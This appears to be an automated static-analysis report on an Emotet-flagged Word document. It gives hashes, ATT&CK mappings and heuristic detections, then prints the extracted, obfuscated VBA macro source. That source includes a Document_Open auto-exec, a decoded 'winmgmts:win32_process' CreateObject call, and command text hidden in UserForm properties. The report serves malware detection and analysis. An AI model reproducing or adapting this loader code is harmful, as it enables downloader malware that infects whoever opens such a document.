Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 6df8558c0950f660…

MALICIOUS

Office (OLE)

228.7 KB Created: 2020-08-14 14:41:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: a501a668b1a32a35934e2da782ff3eac SHA-1: be6241834445fa2660fb0ccdaf4958f6bb68cf12 SHA-256: 6df8558c0950f66047f545eea2121a5791ec751ee9eed445e7e5471ceb63b06b
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The ClamAV detection explicitly names Emotet. The VBA code appears to be obfuscated but the presence of CreateObject and the overall structure strongly suggest it's designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9319752-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9319752-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8351 bytes
SHA-256: 7ba704f4065ec711975525916becfdc7cab8d282f523054925c5ce11820e06db
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Bgnu6q_xco3h"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
N5114a90ipsyc_ap.Z0l6vpg0s5o8
End Sub


Attribute VB_Name = "N5114a90ipsyc_ap"
Attribute VB_Base = "0{94F6DD71-6EE4-4770-A881-A2D9772A43F3}{E3EF77D8-35E5-4B19-8C06-CC6BA25A931D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Z0l6vpg0s5o8()
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
Tgfa472b6rntnddac2 = N5114a90ipsyc_ap.HelpContextId + 100
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
Ss0jt3auy7g = ChrW(Tgfa472b6rntnddac2 + (100 + 35) / 9)
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
Z4q1pl4q02ji8_v5 = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + Ss0jt3auy7g + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + N5114a90ipsyc_ap.H87949rc_i0y5wro0p + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
H8v212kb4w_5x = S3t5dmq3mng3cdpx(Z4q1pl4q02ji8_v5)
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
Set Ej4c685hzn6hnig = CreateObject(H8v212kb4w_5x)
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
Lo9y5vuu37em0nam5 = N5114a90ipsyc_ap.Lbcsp5gfwhr.ControlTipText
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
Fi2z_wdcckv2q = Gs0ugldf23uo + (H8v212kb4w_5x + Ss0jt3auy7g + N5114a90ipsyc_ap.Q2_01rypxnqhg2zp9d.ControlTipText + Lo9y5vuu37em0nam5)
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Hncp3ewnihyw2c5dl6 = Hncp3ewnihyw2c5dl6 + 8: DoEvents
Loop
Dc12eeyxfn14vjzpy4 = Fi2z_wdcckv2q + N5114a90ipsyc_ap.H87949rc_i0y5wro0p
   Hncp3ewnihyw2c5dl6 = 4
Do While Hncp3ewnihyw2c5dl6 < 4 +
... (truncated)

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